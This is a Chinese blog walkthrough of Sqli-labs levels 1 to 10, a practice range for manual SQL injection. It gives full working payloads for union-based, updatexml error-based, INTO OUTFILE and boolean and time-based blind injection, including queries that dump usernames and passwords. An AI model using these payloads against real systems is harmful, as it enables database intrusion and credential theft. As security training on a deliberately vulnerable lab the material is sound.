首页 > 数据库 >Sqli-labs靶场之SQL手注通关详解(Less 1~10)

Sqli-labs靶场之SQL手注通关详解(Less 1~10)

时间:2023-07-30 11:12:09浏览次数:41  
标签:10 name Less 手注 --+ table 页面 select schema

Less-1  GET - Error based - Single quotes - String

  1. 判断注入点,这里的页面中没有可以注入的地方,因此可以判断注入点在url栏。

  1. 判断注入类型

id=1 and 1=1 页面正常

id=1 and 1=2 页面正常

id=1' and 1=1 --+ 页面正常

id=1' and 1=2 --+  页面正常

由此可以判断该注入类型为单引号字符型注入(当然这里也可以不用判断,根据关卡名称就可以看出来)

  1. 判断字段数

id=1' order by 3 --+  页面正常

id=1' order by 4 --+  页面异常

可以判断这里的注入字段数为3。

  1. 判断回显点

可以判断回显点有两个,即2,3。                                                             

  1. 获取数据库名称

得到数据库名称:security

  1. 查询表名

这里补充一下相关的知识点:

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

有了上面的知识,这里就可以开始构造注入语句了:1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’--+

  1. 查询列(字段)名

构造注入语句:1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

  1. 查询字段信息

构造查询语句:1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

Less-2  GET - Error based - Intiger based

这里同第一关操作步骤一样,唯一区别是第一关是字符型,第二关是数字型。

最后查询到的信息如下图:

Less-3  GET - Error based - Single quotes with twist - string

  1. 判断注入点,这里同前面一样,注入点在url处
  2. 判断注入类型

    id=1 and 1=1 页面正常

    id=1 and 1=2 页面正常

    id=1' and 1=1 --+  页面报错

    id=1' and 1=2 --+  页面报错

    由此可以判段这里的注入类型既不是数字型也不是单引号注入。通过尝试发现,此处的注入类型为字符型单括号注入。

    id=1') and 1=1 --+ 页面正常

    id=1') and 1=2 --+ 页面异常

  3. 其他步骤同Less-1一样,最后得到字段信息如下图:

Less-4  GET - Error based - Double Quotes – String

  1. 判断注入点,同前面一样,注入点在url处

       

  1. 判断注入类型,通过尝试发现,这里是双引号单括号型注入

       id=1") and 1=1--+ 页面正常

         

       id=1") and 1=2--+ 页面异常

         

  1. 其他步骤同Less-1一样,最后得到字段信息如下图:

         

Less-5  GET - Double Injection - String Quotes - String

  1. 判断注入点,这里同前面一样,注入点在url处

         

  1. 判断注入类型

         

     观察源码发现,当参数正确时,会返回You are in……,因此这里不会输出查询结果,所以这里不再使用联合查询注入。这里可以使用报错注入或者布尔盲注,我使用的是报错注入的方式。

    通过尝试发现该注入方式为字符型注入

    id=1 and 1=1 页面正常

    id=1 and 1=2 页面正常

    id=1' and 1=1--+ 页面正常

     

    id=1' and 1=2--+ 页面异常

     

  1. 判断字段数

       1' order by 3--+ 页面正常

       1' order by 4--+ 页面报错

       由此可以判断此处字段数为3

       

  1. 查看当前库

       知识补充

      updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是‘~’十六进制转化的结果,用来分割我们的结果

      updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’A’ limit 0,1),0x7e),1),查看A库下面的第一张表

      updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’B’ limit 0,1),0x7e),1),查看B表下的第一个字段

      updatexml(1,concat(0x7e,(select C from A.B),0x7e),1),查看C字段下面的第一个字段

      构造查询语句:1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

       

     得到数据库名称:security

  1. 获取表名

构造查询语句,查询第一张表名:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

构造查询语句,查询第二张表: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1)--+

构造查询语句,查询第三张表: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 2,1),0x7e),1)--+

构造查询语句,查询第四张表: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)--+

也可以使用concat()函数,让所有表名全部回显:

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1)--+

  1. 获取列(字段)名

构造查询语句:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

  1. 获取字段信息

构造查询语句,查询第一个用户名:1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users ),0x7e),1)

Less-6  GET - Double Injection - Double Quotes - String

  1. 判断注入点,这里同之前一样,注入点在url处

  1. 判断注入类型

通过判断,该注入类型为双引号字符型注入

1" and 1=1--+ 页面正常

1" and 1=2--+ 页面异常

  1. 其他步骤同Less-5一样只是闭合方式不同

Less-7  GET - Dump into outfile - String

  1. 知识补充

首先需要了解一下命令into outfile是什么?

INTO OUTFILE 是一条 SQL 查询语句,用于将查询结果以文本文件的形式导出到服务器上的指定位置。它可以用于生成包含查询结果的文件,如 CSV 文件或纯文本文件。

INTO OUTFILE 语句的基本语法如下:

sql

SELECT column1,column2,…

INTO OUTFILE 'filename'

[CHARACTER SET charset name]

[FIELD TERMINATEDBY 'delimiter']

[LINES TERMINATED BY 'delimiter']

FROM table_name

WHERE condition;

其中,关键字和参数的含义如下:

SELECT column1,column2,…:指定要导出到文件的列

INTO OUTFILE 'filename':指定要导出到文件的路径和文件名(注意:必须具有服务器上存储该文件的目录的写入权限)

[CHARACTER SET charset name](可选):指定文件的字符集编码,默认为数据库的字符集编码

[FIELD TERMINATEDBY 'delimiter'](可选):指定字段之间的分隔符,默认为制表符('\t')

[LINES TERMINATED BY 'delimiter'](可选):指定行之间的分隔符,默认为换行符('\n')

FROM table_name:指定要从中导出数据的表名

WHERE condition:(可选):指定筛选记录的条件

注意:

INTO OUTFILE 语句需要在有足够的权限的情况下执行。数据库用户需要具有 FILE 权限以及对导出文件所在目录的写入权限。

以下是一个示例,将 "products" 表中的数据导出到名为 "output.csv" 的 CSV 文件中:

sql

SELECT product_id, product_name, price

INTO OUTFILE '/var/www/html/output.csv'

FIELDS TERMINATED BY ',' ENCLOSED BY '"'

LINES TERMINATED BY '\n'

FROM products;

在这个示例中,查询结果的每一行会以逗号分隔的形式写入到文件中,并用双引号括起每个字段。行之间使用换行符分隔。

实际使用时,需要根据数据库和文件系统的配置进行适当调整,并确保权限和路径的正确设置。

  1. 判断注入点,同之前一样,注入点在url处

  1. 判断注入类型

查看源码,同样不会输出回显结果,根据题目提示,得知该关卡为SQL的文件注入

通过尝试判断,该关卡注入闭合方式'))

  1. 判断字段数

此处字段数为3

  1. 获取数据库名称

构造语句: 1')) union select 1,2,database() into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.txt" --+

页面虽然报错,但是可以去Less7的根目录下查看,可以看到已经生成了一个1.txt文件

可以得到数据库名称‘security’

后续操作同Less-1之前一样,只是闭合方式不同,以及需要在后面添加文件路径,最后得到字段详细信息,如下图:

Less-8  GET - Bind - Boolian Based - Single Quotes

  1. 判断注入点

注入点同之前一样在url中

  1. 判断注入类型

通过尝试判断,此处的注入类型为单引号字符型注入

1' and 1=1--+  页面正常

1' and 1=2--+  页面异常

源码分析:

通过分析源码,很显然可以看到,虽然不会报错,但是可以通过正确回显和错误回显来返回页面数据的不同进行对比,正确为True,错误为False,因此这里可以利用布尔盲注来进行注入。

  1. 判断字段数

通过判断,当order by语句后面接3时,页面回显正常,接4时,页面异常,因此这里的字段数为3

  1. 爆数据库名称

1' and length(database())>7--+ 页面正常

1' and length(database())>8--+ 页面异常

由此可以数据库名称长度为8

1' and ascii(substr(database(),1,1))>114--+ 页面正常

1' and ascii(substr(database(),,1))>115--+ 页面异常

将ascii码转换为字符串,由此可以得到数据库名称第一个字母为‘s’

1' and ascii(substr(database(),2,1))>100--+ 页面正常

1' and ascii(substr(database(),2,1))>101--+--+ 页面异常

通过ascii码转换,由此可以推出数据库的第二个字母为‘e’,依次类推,可以猜解出数据库名称‘security’

  1. 爆表名

首先判断表的个数:

构造判断语句:1' and (select count(table_name) from information_schema.tables where table_schema='security')>3--+ 页面正常

构造判断语句:1' and (select count(table_name) from information_schema.tables where table_schema='security')>4--+  页面异常

因此这里有4个表

判断第一张表的长度

1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>5--+ 页面正常

1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>6--+ 页面异常

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+ 页面正常

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+ 页面异常

ascii编码转换为字符为‘e’,因此第一张表的表名第一个字母为‘e’

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+ 页面正常

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+ 页面异常

ascii编码转换为字符为‘m’,因此第一张表的表名第二个字母为‘m’

第二张表表名查询构造语句:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))

后面的同样的操作,可以得到所有的表名信息,然后这里我们需要的是users表

  1. 获取列名

首先构造注入语句,判断users表中有多少列:

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')

得到users表的列数有三列,然后接下来开始猜解第一列列名:

构造语句:1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>116--+ 页面回显正常

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>117--+ 页面回显异常

根据ascii码转换得到第一个字符为‘u’,后面的查询语句只需修改limit的值即可,最后得到我们需要的username列和password列

  1. 获取字段详细信息

构造语句:1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>67--+ 页面回显正常

1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>68-- + 页面回显异常

通过ascii码的转换,得到第一个用户名的第一个字母为‘D’

构造语句查询第二个字母,1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),2,1)),得到第二个字母为‘u’,以此类推,最后得到第一个用户名‘Dumb’,然后通过修改limit的值可以查询后面的用户名信息

构造语句,查询第一个用户名对应的密码:1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by password limit 0,1),1,1))>96--+ 页面正常

1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by password limit 0,1),1,1))>97--+ 页面异常

通过ascii码的转换,得到第一个用户名对应密码的第一个字母为‘a’,后面步骤同之前获取用户名信息差不多。

Less-9  GET - Bind - Time based - Single Quotes

  1. 判断注入点

这里同之前一样,注入点在url处

  1. 判断字段类型

这里不论注入1、1'、1')等页面回显都是You are in……,因此这里使用延时注入的方式,为了观察效果更好,这关借助工具burpsuite来解决。

这里通过判断字符型的回显时间不受影响,很明显回显时间变长了,因此这里可以判断注入类型为字符型,闭合方式为单引号闭合。

知识补充:

if(条件,A,B),条件成立,则执行A,否则执行B

查询数据库名长度:1' and if(length(database())>5,1,sleep(5))--+

后面的操作步骤均需要使用if语句,其余步骤同Less-8差不多。

Less-10  GET - Bind - Time based - double quotes

  1. 判断注入点

这里注入点同之前一样,注入点位置为url处

  1. 判断注入类型

经过尝试判断,此处注入点类型为字符型,闭合方式为双引号闭合,注入方式同上一关一样使用延时注入,后面的操作与Less-9差不多,只需修改闭合方式处。

标签:10,name,Less,手注,--+,table,页面,select,schema
From: https://www.cnblogs.com/yeahh/p/17591141.html

相关文章

  • 撞了100次南墙才明白的道理
    撞了100次南墙才明白的道理:1、太正经的人,发不了大财。2、你越没本事,别人越欺负你。3、社会资源是有限的,好的资源需要靠抢。4、除了父母,没有人愿意无偿包容你。5、没有实力,你认识谁都没有用。6、人们只会看重你的成果,而不是你的努力。7、在竞争激烈的世界里,弱者只会被淘汰。......
  • 【230730-3】已知:2^a=5,2^b=10,2^c=80 求:2019a-4039b+2020c=?
    ......
  • error C1083: 无法打开包括文件:“iostream.h”: No such file or directory
    用VS2010打开VC++6程序,按下F5键会发现有错误提示:errorC1083:无法打开包括文件:“iostream.h”:Nosuchfileordirectory;而程序在VC++6中没有任何问题!主要的原因是:1.#include<iostream.h>是原来的C语言里面的,而#include<iostream>是c++的标准库里的,而要调用这个这个标准库......
  • Codeforces Round 105 (Div. 2) - D. Bag of mice DP 或 记忆化搜索 求概率
    D.Bagofmice题意待补充~思路可利用DP或者记忆化搜索求解本问题,实际上这两个方法等价。当\(w=0\)时必输当$w\ne0$但$b=0$时必赢剩下的情况,先考虑一个问题:赢的局面是怎么构成的?代码记忆化搜索//>>>Qiansui#include<bits/stdc++.h>#definelllong......
  • games101 HomeWork5
    Games101HomeWork5导航导航任务Renderer.cpp中的Render():这里你需要为每个像素生成一条对应的光线,然后调用函数castRay()来得到颜色,最后将颜色存储在帧缓冲区的相应像素中。Triangle.hpp中的rayTriangleIntersect():v0,v1,v2是三角形的三个顶点,orig是光线的起点......
  • 10道Java基础面试题
    以下是Java基础面试题,相信大家都会有种及眼熟又陌生的感觉、看过可能在短暂的面试后又马上忘记了。JavaPub在这里整理这些容易忘记的重点知识及解答,建议收藏,经常温习查阅。看看这些面试题你会几道@[toc]1.instanceof关键字的作用instanceof是Java的保留关键字。它的作用是测......
  • 设备驱动-10.中断子系统-4.3中断线程化处理-threaded_irq
    1.threaded_irq引入工作队列用起来挺简单,但是它有一个缺点:工作队列中有多个work,前一个work没处理完会影响后面的work执行,导致后面的work没法快速响应。那么可以再内核自己创建一个线程来单独处理,不跟别的work凑在一块了。比如在Linux系统中,对于存储设备比如SD/TF卡,它......
  • windows10 安装.NET 5开发环境
    0、环境说明操作系统:windows10系统64位  1、开发工具版本windows10系统VisualStudio2019开发.NET5项目环境要求:VisualStudio2019 :升级到版本16.8以上(可直接在VS工具中直接升级版本) 2、下载.NET5官网网址:https://dotnet.microsoft.com/zh-cn/download/dotnet......
  • LeetCode 热题 100 之 56. 合并区间
    题目以数组intervals表示若干个区间的集合,其中单个区间为intervals[i]=[starti,endi]。请你合并所有重叠的区间,并返回 一个不重叠的区间数组,该数组需恰好覆盖输入中的所有区间 。示例1:输入:intervals=[[1,3],[2,6],[8,10],[15,18]]输出:[[1,6],[8,10],[15,18]]解......
  • 104. 二叉树的最大深度
    给定一个二叉树,找出其最大深度。二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。说明: 叶子节点是指没有子节点的节点。示例:给定二叉树 [3,9,20,null,null,15,7],3/\920/\157返回它的最大深度 3。#Definitionforabinarytreenode.......